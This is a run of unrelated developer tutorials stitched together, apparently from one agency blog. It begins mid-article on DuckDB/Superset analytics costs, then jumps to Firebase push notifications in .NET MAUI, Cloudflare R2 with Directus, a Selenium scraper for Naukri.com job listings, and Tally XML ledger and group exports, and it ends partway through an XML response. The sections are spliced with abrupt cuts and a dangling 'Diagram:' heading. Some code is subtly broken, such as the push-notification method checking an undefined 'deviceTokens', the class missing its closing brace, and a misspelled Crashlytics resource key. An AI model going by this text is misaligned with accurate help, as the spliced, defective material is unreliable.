• Superset runs in a single container

2. Development Speed

• Instant local testing with DuckDB

• SQL-first approach with no complex ETL frameworks

• Easy iteration on analytics queries

3. Flexibility

• Start/stop Fargate tasks when not in use

• Export DuckDB database for local analysis

• Version control your entire analytics stack

4. Performance

• DuckDB's columnar engine excels at analytical queries

• In-process execution eliminates network latency

• Pre-aggregated tables provide sub-second response times

When This Approach Works Best

This architecture is ideal for:

• Batch analytics (not real-time streaming)

• Small to medium datasets (up to 100GB)

• Cost-conscious teams without enterprise budgets

• Infrequent queries (not 24/7 user-facing applications)

When to Consider Alternatives

Stick with Redshift or Snowflake if you need:

• Real-time analytics with sub-second data freshness

• Multi-user concurrency with hundreds of simultaneous queries

• Petabyte-scale data warehousing

• Complex data governance and access controls

Conclusion: Modern Analytics Doesn't Require Big Budgets

By combining open-source tools like DuckDB and Apache Superset with cost-effective AWS services, we proved that sophisticated analytics doesn't require enterprise-level spending.

Our loan management analytics now runs for less than the cost of a nice dinner, compared to the $24,000+ monthly Redshift bills we avoided. More importantly, we maintained full control over our data pipeline and gained the flexibility to iterate quickly.

The modern data stack is democratizing analytics—and your infrastructure costs should reflect that.

Frequently Asked Questions

Q: Can DuckDB handle my production workload?
A: DuckDB excels for analytical workloads up to 100GB. For larger datasets or high concurrency, consider distributed solutions like ClickHouse.

Q: How often should I refresh the data?
A: It depends on your needs. We run daily exports from RDS, but you could schedule hourly or even more frequently.

Q: Is Apache Superset production-ready?
A: Yes, Superset is used by companies like Airbnb, Netflix, and Twitter. Ensure proper security configuration for production use.

Q: What about data security?
A: Use IAM roles for S3 access, VPC networking for Fargate, and Superset's built-in authentication. Encrypt data at rest in S3.

Relevant Keywords

DuckDB, Apache Superset, AWS cost savings, Redshift alternative, analytics on a budget, data visualization, ETL pipeline, AWS Fargate, Parquet files, loan management analytics, modern data stack

Add google-services.json for Android

1. Go to the Firebase Console.

2. Create a new project or select an existing one.

3. Navigate to Project Settings > General.

4. In the "Your apps" section, register your Android app.

5. Follow the instructions to download the google-services.json file.

6. Place it in your project under Platforms/Android.

Set Build Action

1. Right-click the google-services.json file in Solution Explorer.

2. Choose Properties.

3. Set Build Action to GoogleServicesJson.

Step 2: Create a .NET MAUI Hybrid Project

In Visual Studio:

• Create a new project using the .NET MAUI Blazor App template.

• This enables you to mix web and native mobile functionality using Razor and C#.

Step 3: Install Required NuGet Packages

Install the following packages via NuGet:

Plugin.Firebase
Plugin.Firebase.Crashlytics
Plugin.Firebase.CloudMessaging

Step 4: Handle Notification Permissions (Android)

In your AndroidManifest.xml, add the necessary permissions:

<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />

Step 5: Android Firebase Initialization

Create CrossFirebase Class

Inside Platforms/Android, create a file named CrossFirebase.cs:

public static class CrossFirebase
{
    public static void Initialize(
        Activity activity,
        CrossFirebaseSettings settings,
        FirebaseOptions firebaseOptions = null,
        string name = null)
    {
        if(firebaseOptions == null) {
            FirebaseApp.InitializeApp(activity);
        } else if(name == null) {
            FirebaseApp.InitializeApp(activity, firebaseOptions);
        } else {
            FirebaseApp.InitializeApp(activity, firebaseOptions, name);
        }

        if(settings.IsAnalyticsEnabled) {
            FirebaseAnalyticsImplementation.Initialize(activity);
        }
    }
}

Add Required Resources

Create a file strings.xml under Platforms/Android/Resources/values:

<?xml version="1.0" encoding="utf-8"?>
<resources>
    <string name="com.google.firebase.crashlytics.mapping_flied_id">none</string>
    <string name="com.crashlytics.android.build_id">1</string>
</resources>

Step 6: Configure MauiProgram.cs

Update MauiProgram.cs file to register Firebase services:

#if IOS
using Plugin.Firebase.Bundled.Platforms.iOS;
#elif ANDROID
using Plugin.Firebase.Bundled.Platforms.Android;
#endif

public static class MauiProgram
{
    public static MauiApp CreateMauiApp()
    {
        var builder = MauiApp.CreateBuilder();
        builder.UseMauiApp<App>()
               .RegisterFirebaseServices()
               .ConfigureFonts(fonts =>
               {
                   fonts.AddFont("OpenSans-Regular.ttf", "OpenSansRegular");
               });

        builder.Services.AddMauiBlazorWebView();

#if DEBUG
        builder.Services.AddBlazorWebViewDeveloperTools();
        builder.Logging.AddDebug();
#endif

        return builder.Build();
    }

    private static MauiAppBuilder RegisterFirebaseServices(this MauiAppBuilder builder)
    {
        builder.ConfigureLifecycleEvents(events =>
        {
#if IOS
            events.AddiOS(iOS => iOS.WillFinishLaunching((app, _) =>
            {
                CrossFirebase.Initialize(CreateCrossFirebaseSettings());
                return false;
            }));
#elif ANDROID
            events.AddAndroid(android => android.OnCreate((activity, _) =>
            {
                var settings = CreateCrossFirebaseSettings();
                CrossFirebase.Initialize(activity, settings);
            }));
#endif
        });

        builder.Services.AddSingleton(_ => CrossFirebaseAuth.Current);
        builder.Services.AddSingleton(_ => CrossFirebaseCloudMessaging.Current);
        return builder;
    }

    private static CrossFirebaseSettings CreateCrossFirebaseSettings()
    {
        return new CrossFirebaseSettings(
            isAuthEnabled: true,
            isCloudMessagingEnabled: true,
            isCrashlyticsEnabled: true
        );
    }
}

Step 7: Create Firebase Admin SDK to Send Notifications

• Download firebase-adminsdk.json

  1. Go to Firebase Console > Project Settings > Service Accounts

  2. Click Generate new private key

  3. Save the file as firebase-adminsdk.json in your project

Create PushNotification.cs

using FirebaseAdmin;
using FirebaseAdmin.Messaging;
using Google.Apis.Auth.OAuth2;
using Message = FirebaseAdmin.Messaging.Message;
using Notification = FirebaseAdmin.Messaging.Notification;

public class PushNotification
{
    private readonly FirebaseMessaging _firebaseMessaging;

    public PushNotification()
    {
        if (FirebaseApp.DefaultInstance == null)
        {
            FirebaseApp.Create(new AppOptions
            {
                Credential = GoogleCredential.FromFile("firebase-adminsdk.json") 
            });
        }

        _firebaseMessaging = FirebaseMessaging.DefaultInstance;
    }

    public async Task SendPushNotification(string deviceToken, string title, string body, object data)
    {
        if (deviceTokens.Any())
        {
            var message = new Message()
            {
                Token = deviceToken,
                Notification = new Notification()
                {
                    Title = title,
                    Body = body,
                    ImageUrl = "https://media.istockphoto.com/id/472909414/photo/demo-sign-colorful-tags.jpg?s=612x612&w=0&k=20&c=JD4iYaMoe4x--zJrltwiQzZdDyvtrRuNBK0uQ80tdXg="
                },
                Data = new Dictionary<string, string>
                {
                    { "click_action", "FLUTTER_NOTIFICATION_CLICK" },
                    { "target", "counter" },
                    { "extraData", JsonConvert.SerializeObject(data) }
                }
            };

            try
            {
                var response = await _firebaseMessaging.SendAsync(message);
                Log.Information($"Push Notification sent successfully. Message ID: {response}");
            }
            catch (Exception ex)
            {
                Log.Error($"Error sending push notification: {ex.Message}");
            }
        }
    }

Register the Service

In MauiProgram.cs, register the service:

builder.Services.AddSingleton<PushNotification>();

Step 8: Sending Notification from UI (Blazor)

In Home.razor:

@page "/"
@using MauiNotificationApp.Services
@inject NavigationManager Navigation
@inject PushNotification PushNotification

<h1>Hello, world!</h1>
Welcome to your new app.

<div class="mt-4">
    @if (!string.IsNullOrEmpty(responseMessage))
    {
        <div class="@(isSuccess ? "text-success" : "text-danger")">
            @responseMessage
        </div>
    }

    @if (isLoading)
    {
        <p>Processing...</p>
    }

    <button class="btn btn-success" @onclick="SendNotification" disabled="@isLoading">Send Notification</button>
</div>

@code {
    private bool isLoading = false;
    private bool isSuccess = false;
    private string responseMessage = string.Empty;
    private string fcmToken = string.Empty;
    private string errorMessage = string.Empty;
    private string successMessage = string.Empty;

    // Get FCM token and store it in a variable
    protected override async Task OnInitializedAsync()
    {
        await CrossFirebaseCloudMessaging.Current.CheckIfValidAsync();
        fcmToken = await CrossFirebaseCloudMessaging.Current.GetTokenAsync();
        Console.WriteLine($"FCM token: {fcmToken}");
    }

    private async Task SendNotification()
    {
        if (string.IsNullOrEmpty(fcmToken))
        {
            errorMessage = "FCM token is not available. Please initialize Firebase first.";
            return;
        }

        isLoading = true;
        errorMessage = string.Empty;
        successMessage = string.Empty;

        try
        {
            var title = "Test Notification";
            var body = "This is a test notification";
            var data = new
            {
                Type = "Push Notification",
                Title = title,
                Message = body,
                Timestamp = DateTime.Now.ToString("o")
            };

            await PushNotification.SendPushNotification(fcmToken, title, body, data);
            successMessage = "Notification sent successfully!";
        }
        catch (Exception ex)
        {
            errorMessage = $"Error sending notification: {ex.Message}";
            Console.WriteLine($"Notification Error: {ex}");
        }
        finally
        {
            isLoading = false;
            StateHasChanged();
        }
    }
}

You've now successfully integrated Firebase Push Notifications into your .NET MAUI Hybrid App!

Diagram:

Why Cloudflare R2?

Cloudflare R2 is a distributed object storage service that offers several key advantages:

• Cost-Effective Storage: R2 eliminates egress fees, making it significantly cheaper than traditional cloud storage options.

• Global Performance: Leveraging Cloudflare's global network, R2 ensures fast and reliable asset delivery to users worldwide.

• Seamless Integration: R2 integrates seamlessly with existing Cloudflare services, providing a unified platform for content delivery.

• S3 Compatibility: R2's S3 compatibility simplifies integration with various applications, including Directus.

Integrating Cloudflare R2 with Directus

Integrating Cloudflare R2 with Directus involves configuring the Directus storage adapter to use the R2 bucket. Here's a step-by-step guide:

1. Create an R2 Bucket:

• Log in to your Cloudflare dashboard.

• Navigate to R2 and create a new bucket.

  

• Generate an API token with appropriate permissions for your bucket. Click “API” and then “Manage API Tokens”

  

• Then Click “Create API token”

  

• In this form you can select permissions and TTL. You can choose TTL to ‘Forever’ if you’re using this in a application and don’t want to change it frequently. Also you can choose from buckets to which this token will be applicable.

  

• Then you will be redirected to a new page. Copy “Access Key ID”, “Secret Access Key” and “endpoint”. Check the screenshot below. Obviously my credentials from the screenshot won’t work as those are deleted by this time you’re reading this blog post.

  

2. Configure Directus Storage:

• Install the @directus/storage-driver-s3 package: (This step won’t be necessary for most of you, I have tried it on 11.5.1 and it worked without installing any package.)

    npm install @directus/storage-driver-s3
  

• Create or modify your .env file with the following configuration:

# Cloudflare R2 Configuration
STORAGE_LOCATIONS=s3
STORAGE_DRIVER=s3
STORAGE_S3_ENDPOINT=<YOUR_ENDPOINT_URL>
STORAGE_S3_REGION=auto
STORAGE_S3_BUCKET=<YOUR_BUCKET_NAME>
STORAGE_S3_KEY=<YOUR_ACCESS_KEY_ID>
STORAGE_S3_SECRET=<YOUR_SECRET_ACCESS_KEY>
STORAGE_S3_FORCE_PATH_STYLE=true
STORAGE_S3_ACL=public-read

• Important: Replace the placeholder values with your actual R2 endpoint, bucket name, API Access key ID, and Secret Access key from the previous step.

• Important: Replace the placeholder values

• Comment below lines in your .env file by putting # sign like below.

#STORAGE_LOCATIONS="local"
#STORAGE_LOCAL_DRIVER="local"
#STORAGE_LOCAL_ROOT="./uploads"

• Restart your Directus instance to apply the changes.

3. Test the Integration:

• Upload an asset through the Directus admin panel.

• Verify that the asset is successfully stored in your R2 bucket.

• Verify that the asset can be accessed through your website or API.

Benefits of Using Cloudflare R2 with Directus

• Improved Performance: Faster asset delivery translates to a better user experience.

• Reduced Costs: Elimination of egress fees significantly lowers storage costs.

• Enhanced Scalability: R2's distributed architecture ensures scalability for growing applications.

• Simplified Management: Centralized asset management within the Cloudflare ecosystem.

• Enhanced CDN capabilities: Cloudflare's powerful CDN caching further improves asset delivery.

SEO Best Practices

• Use descriptive file names for your assets.

• Optimize images for web performance.

• Implement proper caching strategies.

• Use alt text on images.

• Ensure your website is mobile-friendly.

Conclusion

Integrating Cloudflare R2 with Directus is a smart move for anyone looking to optimize asset management, reduce costs, and improve performance. By leveraging R2's global network and cost-effective pricing, you can supercharge your Directus application and deliver a seamless user experience.

By following these steps, you can harness the power of Cloudflare R2 and Directus to create a high-performance, cost-effective content management system.

Need Custom Development? Get Expert Help! 🚀

Facing complex tech challenges? Our expert developers can build, optimize, and scale your solution. Whether it's custom software, backend architecture, API integrations, or performance tuning, we have you covered.

👉 Let’s build something amazing together! Get in touch

What is Web Scraping?

Web scraping involves retrieving web pages and extracting useful data from them. Whether you need to collect data from social media, e-commerce platforms, or news websites, web scraping automates the process by extracting specific elements like product names, prices, reviews, or any other data displayed on a web page. Once extracted, this data can be stored in formats like CSV, JSON, or databases for further analysis.

Python Libraries for Web Scraping

There are several powerful Python libraries available for web scraping:

1. BeautifulSoup: This library is part of bs4 and helps parse HTML or XML documents. It allows you to navigate and search the tree structure of an HTML page, making it easy to extract elements like paragraphs, headers, tables, and links.

2. Requests: The requests library is used to send HTTP/HTTPS requests to websites, allowing you to retrieve the web page content for scraping. It simplifies making GET, POST, and other HTTP requests.

3. Selenium: Selenium is a browser automation tool that allows you to interact with websites dynamically. It can handle JavaScript-heavy pages where content is loaded asynchronously (e.g., infinite scrolling websites).

4. Scrapy: A full-fledged web scraping framework that offers robust features like handling requests, parsing responses, and data exportation. It’s ideal for large-scale scraping projects with complex logic.

How Web Scraping Works

The process of web scraping typically involves these main steps:

1. Send a request to the webpage: Using the requests library, we make an HTTP request to the target webpage. If the response code is 200 (OK), we retrieve the page content, usually in HTML format.

2. Parse the HTML: After obtaining the page content, the next step is to parse it into a structured format that Python can work with. This is where BeautifulSoup or other parsers come into play. You can target specific tags (like <div>, <p>, or <a>) using BeautifulSoup.

3. Extract the data: Once you have the parsed HTML, you can extract the relevant information by identifying the tags, classes, or IDs associated with the data you want. This can be done through BeautifulSoup’s functions like .find(), .find_all(), or CSS selectors.

4. Store the data: Finally, the extracted data can be stored in different formats such as CSV, JSON, or even a database for further analysis.

Example: Scraping Job Listings from Naukri.com Using Selenium and BeautifulSoup

Here’s a real-world example where we scrape job listings from Naukri.com, a website that dynamically loads job data using JavaScript. We’ll use Selenium to control the browser and fetch the fully rendered HTML and BeautifulSoup to extract the job details.

import requests
from selenium import webdriver
from bs4 import BeautifulSoup
import time

# URL of Naukri's React job listings page
nurl = "https://www.naukri.com/react-jobs?k=react"
print(nurl)

# Sending a GET request to fetch the page (optional, as Selenium will load the page)
res = requests.get(nurl)

# Use Selenium to open the page and load the content
driver = webdriver.Chrome()  # Ensure you have the correct path to the ChromeDriver
driver.get(nurl)
time.sleep(3)  # Wait for the page to fully load

# Parse the page content using BeautifulSoup
soup = BeautifulSoup(driver.page_source, "html5lib")
driver.close()  # Close the browser after extracting the data

# Initialize a list to store the job data
nokari = []

# Find all the job listings on the page
comment_box = soup.find_all("div", {"class": "cust-job-tuple layout-wrapper lay-2 sjw__tuple"})

# Loop through each job listing and extract information
for i in comment_box:
    nokari_info = {}
    nokari_info["title"] = i.div.a.text  # Extract the job title

    # Extract the company name
    comName = i.find_all("a", {"class": "comp-name mw-25"})
    if comName:
        nokari_info["com_name"] = comName[0].text

    # Extract the job description
    nokari_info["des"] = i.find_all("span", {"class": "job-desc ni-job-tuple-icon ni-job-tuple-icon-srp-description"})[0].text

    # Append the extracted data to the nokari list
    nokari.append(nokari_info)

# Print the extracted job details
for i in nokari:
    print(i)

What Does This Code Do?

1. Fetching the Webpage: We use Selenium to load the webpage containing job listings. Selenium controls a web browser, allowing us to load dynamic content generated by JavaScript.

2. Parsing the HTML: After allowing the page to load completely (using time.sleep), we extract the page source and pass it to BeautifulSoup for parsing.

3. Extracting the Job Data: We locate the job listings using specific HTML tags and extract the job title, company name, and description.

4. Storing and Printing Data: The extracted data is stored in a list of dictionaries and printed out.

Why Selenium?

Naukri.com uses JavaScript to load job data dynamically. This means the data doesn’t exist in the HTML initially fetched by requests. Selenium enables us to open the page, wait for the JavaScript to load the content, and then extract the fully rendered HTML.

Conclusion

Python's versatility and robust library ecosystem make it ideal for web scraping, whether you're extracting data from static HTML or JavaScript-heavy, dynamically loaded websites. With tools like Selenium and BeautifulSoup, Python enables efficient data collection and parsing, allowing you to navigate complex web pages and extract structured information. However, it's crucial to scrape responsibly, adhering to website terms of service, ethical guidelines, and data privacy regulations.

Need Custom Development? Get Expert Help! 🚀

Facing complex tech challenges? Our expert developers can build, optimize, and scale your solution. Whether it's custom software, backend architecture, API integrations, or performance tuning, we have you covered.

👉 Let’s build something amazing together! Get in touch

Xml Request:

<ENVELOPE>
    <HEADER>
        <VERSION>1</VERSION>
        <TALLYREQUEST>EXPORT</TALLYREQUEST>
        <TYPE>COLLECTION</TYPE>
        <ID>List of Ledgers</ID>
    </HEADER>
    <BODY>
        <DESC>
            <STATICVARIABLES>
                <SVEXPORTFORMAT>$$SysName:XML</SVEXPORTFORMAT>
            </STATICVARIABLES>
        </DESC>
    </BODY>
</ENVELOPE>

This XML request is designed to export a specific collection of data from Tally. By setting the TALLYREQUEST to "EXPORT", we are instructing Tally to generate an export file. The TYPE being "COLLECTION" further specifies that the export will involve a group of related data entries, and the ID "List of Ledgers" identifies that the specific data to be exported is the list of ledgers maintained within the Tally system. The request, as constructed, is tailored to retrieve the ledgers in XML format, as indicated by the <SVEXPORTFORMAT> tag within the <STATICVARIABLES> section of the <BODY>.

XML Response :

<ENVELOPE>
    <HEADER>
        <VERSION>1</VERSION>
        <STATUS>1</STATUS>
    </HEADER>
    <BODY>
        <DESC>
            <CMPINFO>
                <COMPANY>0</COMPANY>
                <GROUP>0</GROUP>
                <LEDGER>0</LEDGER>
                <COSTCATEGORY>0</COSTCATEGORY>
                <COSTCENTRE>0</COSTCENTRE>
                <GODOWN>0</GODOWN>
                <STOCKGROUP>0</STOCKGROUP>
                <STOCKCATEGORY>0</STOCKCATEGORY>
                <STOCKITEM>0</STOCKITEM>
                <VOUCHERTYPE>0</VOUCHERTYPE>
                <CURRENCY>0</CURRENCY>
                <UNIT>0</UNIT>
                <BUDGET>0</BUDGET>
                <CLIENTRULE>0</CLIENTRULE>
                <SERVERRULE>0</SERVERRULE>
                <STATE>0</STATE>
                <TDSRATE>0</TDSRATE>
                <TAXCLASSIFICATION>0</TAXCLASSIFICATION>
                <STCATEGORY>0</STCATEGORY>
                <DEDUCTEETYPE>0</DEDUCTEETYPE>
                <ATTENDANCETYPE>0</ATTENDANCETYPE>
                <FBTCATEGORY>0</FBTCATEGORY>
                <FBTASSESSEETYPE>0</FBTASSESSEETYPE>
                <TARIFFCLASSIFICATION>0</TARIFFCLASSIFICATION>
                <EXCISEDUTYCLASSIFICATION>0</EXCISEDUTYCLASSIFICATION>
                <SERIALNUMBER>0</SERIALNUMBER>
                <ADJUSTMENTCLASSIFICATION>0</ADJUSTMENTCLASSIFICATION>
                <INCOMETAXSLAB>0</INCOMETAXSLAB>
                <INCOMETAXCLASSIFICATION>0</INCOMETAXCLASSIFICATION>
                <LBTCLASSIFICATION>0</LBTCLASSIFICATION>
                <TAXUNIT>0</TAXUNIT>
                <RETURNMASTER>0</RETURNMASTER>
                <GSTCLASSIFICATION>0</GSTCLASSIFICATION>
                <VOUCHERNUMBERSERIES>0</VOUCHERNUMBERSERIES>
                <VOUCHER>0</VOUCHER>
            </CMPINFO>
        </DESC>
        <DATA>
            <COLLECTION ISMSTDEPTYPE="Yes" MSTDEPTYPE="8">
                <LEDGER NAME="Cash" RESERVEDNAME="">
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Cash</NAME>
                        </NAME.LIST>
                        <LANGUAGEID> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </LEDGER>
                <LEDGER NAME="Profit &amp; Loss A/c" RESERVEDNAME="Profit &amp; Loss A/c">
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Profit &amp; Loss A/c</NAME>
                        </NAME.LIST>
                        <LANGUAGEID> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </LEDGER>
            </COLLECTION>
        </DATA>
    </BODY>
</ENVELOPE>

HEADER: Contains metadata about the request/response, such as the version (VERSION) and status (STATUS), which is 1 indicating success.

BODY:

DESC: Describes the request. The <CMPINFO> section specifies which data components are involved, with 0 indicating that no specific data is requested for those fields.

DATA: Contains the actual data returned by Tally. Here, it shows a collection of ledgers:

LEDGER:

"Cash": A ledger named "Cash" with no reserved name.

• "Profit & Loss A/c": A ledger named "Profit & Loss A/c" with a reserved name indicating it is a system ledger.

Export group from Tally Prime

XML Request:

'<ENVELOPE>
    <HEADER>
        <VERSION>1</VERSION>
        <TALLYREQUEST>EXPORT</TALLYREQUEST>
        <TYPE>Collection</TYPE>
        <ID>Group</ID>
    </HEADER>
    <BODY>
        <DESC>
            <STATICVARIABLES>
                <SVEXPORTFORMAT>$$SysName:XML</SVEXPORTFORMAT>
                <GroupType>Primary</GroupType>
            </STATICVARIABLES>
        </DESC>
    </BODY>
</ENVELOPE>

This XML request is crafted to export a list of primary groups from Tally. The TALLYREQUEST is set to "EXPORT", indicating that the operation will generate an export file. The TYPE of the request is "Collection", meaning that the export will focus on a collection of related data, specifically groups in this case.

The ID is set to "Group", directing Tally to retrieve and export group-related data. The additional parameter <GroupType> set to "Primary" ensures that only primary groups are included in the export.

XML Response:

<ENVELOPE>
    <HEADER>
        <VERSION>1</VERSION>
        <STATUS>1</STATUS>
    </HEADER>
    <BODY>
        <DESC>
            <CMPINFO>
                <COMPANY>0</COMPANY>
                <GROUP>0</GROUP>
                <LEDGER>0</LEDGER>
                <COSTCATEGORY>0</COSTCATEGORY>
                <COSTCENTRE>0</COSTCENTRE>
                <GODOWN>0</GODOWN>
                <STOCKGROUP>0</STOCKGROUP>
                <STOCKCATEGORY>0</STOCKCATEGORY>
                <STOCKITEM>0</STOCKITEM>
                <VOUCHERTYPE>0</VOUCHERTYPE>
                <CURRENCY>0</CURRENCY>
                <UNIT>0</UNIT>
                <BUDGET>0</BUDGET>
                <CLIENTRULE>0</CLIENTRULE>
                <SERVERRULE>0</SERVERRULE>
                <STATE>0</STATE>
                <TDSRATE>0</TDSRATE>
                <TAXCLASSIFICATION>0</TAXCLASSIFICATION>
                <STCATEGORY>0</STCATEGORY>
                <DEDUCTEETYPE>0</DEDUCTEETYPE>
                <ATTENDANCETYPE>0</ATTENDANCETYPE>
                <FBTCATEGORY>0</FBTCATEGORY>
                <FBTASSESSEETYPE>0</FBTASSESSEETYPE>
                <TARIFFCLASSIFICATION>0</TARIFFCLASSIFICATION>
                <EXCISEDUTYCLASSIFICATION>0</EXCISEDUTYCLASSIFICATION>
                <SERIALNUMBER>0</SERIALNUMBER>
                <ADJUSTMENTCLASSIFICATION>0</ADJUSTMENTCLASSIFICATION>
                <INCOMETAXSLAB>0</INCOMETAXSLAB>
                <INCOMETAXCLASSIFICATION>0</INCOMETAXCLASSIFICATION>
                <LBTCLASSIFICATION>0</LBTCLASSIFICATION>
                <TAXUNIT>0</TAXUNIT>
                <RETURNMASTER>0</RETURNMASTER>
                <GSTCLASSIFICATION>0</GSTCLASSIFICATION>
                <VOUCHERNUMBERSERIES>0</VOUCHERNUMBERSERIES>
                <VOUCHER>0</VOUCHER>
            </CMPINFO>
        </DESC>
        <DATA>
            <COLLECTION ISMSTDEPTYPE="Yes" MSTDEPTYPE="4">
                <GROUP NAME="Bank Accounts" RESERVEDNAME="Bank Accounts">
                    <TBALOPENING TYPE="Amount"></TBALOPENING>
                    <GRPOPENINGBALANCE TYPE="Amount"></GRPOPENINGBALANCE>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Bank Accounts</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </GROUP>
                <GROUP NAME="Bank OD A/c" RESERVEDNAME="Bank OD A/c">
                    <TBALOPENING TYPE="Amount"></TBALOPENING>
                    <GRPOPENINGBALANCE TYPE="Amount"></GRPOPENINGBALANCE>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Bank OD A/c</NAME>
                            <NAME>Bank OCC A/c</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </GROUP>
                <GROUP NAME="Branch / Divisions" RESERVEDNAME="Branch / Divisions">
                    <TBALOPENING TYPE="Amount"></TBALOPENING>
                    <GRPOPENINGBALANCE TYPE="Amount"></GRPOPENINGBALANCE>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Branch / Divisions</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </GROUP>
                <GROUP NAME="Capital Account" RESERVEDNAME="Capital Account">
                    <TBALOPENING TYPE="Amount"></TBALOPENING>
                    <GRPOPENINGBALANCE TYPE="Amount"></GRPOPENINGBALANCE>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Capital Account</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </GROUP>
                <GROUP NAME="Cash-in-Hand" RESERVEDNAME="Cash-in-Hand">
                    <TBALOPENING TYPE="Amount">0.00</TBALOPENING>
                    <GRPOPENINGBALANCE TYPE="Amount"></GRPOPENINGBALANCE>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Cash-in-Hand</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </GROUP>
                <GROUP NAME="Current Assets" RESERVEDNAME="Current Assets">
                    <TBALOPENING TYPE="Amount">-1447900.00</TBALOPENING>
                    <GRPOPENINGBALANCE TYPE="Amount">-1447900.00</GRPOPENINGBALANCE>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Current Assets</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </GROUP>
                <GROUP NAME="Current Liabilities" RESERVEDNAME="Current Liabilities">
                    <TBALOPENING TYPE="Amount"></TBALOPENING>
                    <GRPOPENINGBALANCE TYPE="Amount"></GRPOPENINGBALANCE>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Current Liabilities</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </GROUP>
                <GROUP NAME="Deposits (Asset)" RESERVEDNAME="Deposits (Asset)">
                    <TBALOPENING TYPE="Amount"></TBALOPENING>
                    <GRPOPENINGBALANCE TYPE="Amount"></GRPOPENINGBALANCE>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Deposits (Asset)</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </GROUP>
                <GROUP NAME="Direct Expenses" RESERVEDNAME="Direct Expenses">
                    <TBALOPENING TYPE="Amount"></TBALOPENING>
                    <GRPOPENINGBALANCE TYPE="Amount"></GRPOPENINGBALANCE>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Direct Expenses</NAME>
                            <NAME>Expenses (Direct)</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </GROUP>
                <GROUP NAME="Direct Incomes" RESERVEDNAME="Direct Incomes">
                    <TBALOPENING TYPE="Amount"></TBALOPENING>
                    <GRPOPENINGBALANCE TYPE="Amount"></GRPOPENINGBALANCE>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Direct Incomes</NAME>
                            <NAME>Income (Direct)</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </GROUP>
                <GROUP NAME="Duties &amp; Taxes" RESERVEDNAME="Duties &amp; Taxes">
                    <TBALOPENING TYPE="Amount"></TBALOPENING>
                    <GRPOPENINGBALANCE TYPE="Amount"></GRPOPENINGBALANCE>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Duties &amp; Taxes</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </GROUP>
                <GROUP NAME="Fixed Assets" RESERVEDNAME="Fixed Assets">
                    <TBALOPENING TYPE="Amount"></TBALOPENING>
                    <GRPOPENINGBALANCE TYPE="Amount"></GRPOPENINGBALANCE>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Fixed Assets</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </GROUP>
                <GROUP NAME="Indirect Expenses" RESERVEDNAME="Indirect Expenses">
                    <TBALOPENING TYPE="Amount"></TBALOPENING>
                    <GRPOPENINGBALANCE TYPE="Amount"></GRPOPENINGBALANCE>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Indirect Expenses</NAME>
                            <NAME>Expenses (Indirect)</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </GROUP>
                <GROUP NAME="Indirect Incomes" RESERVEDNAME="Indirect Incomes">
                    <TBALOPENING TYPE="Amount"></TBALOPENING>
                    <GRPOPENINGBALANCE TYPE="Amount"></GRPOPENINGBALANCE>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Indirect Incomes</NAME>
                            <NAME>Income (Indirect)</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </GROUP>
                <GROUP NAME="Investments" RESERVEDNAME="Investments">
                    <TBALOPENING TYPE="Amount"></TBALOPENING>
                    <GRPOPENINGBALANCE TYPE="Amount"></GRPOPENINGBALANCE>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Investments</NAME>
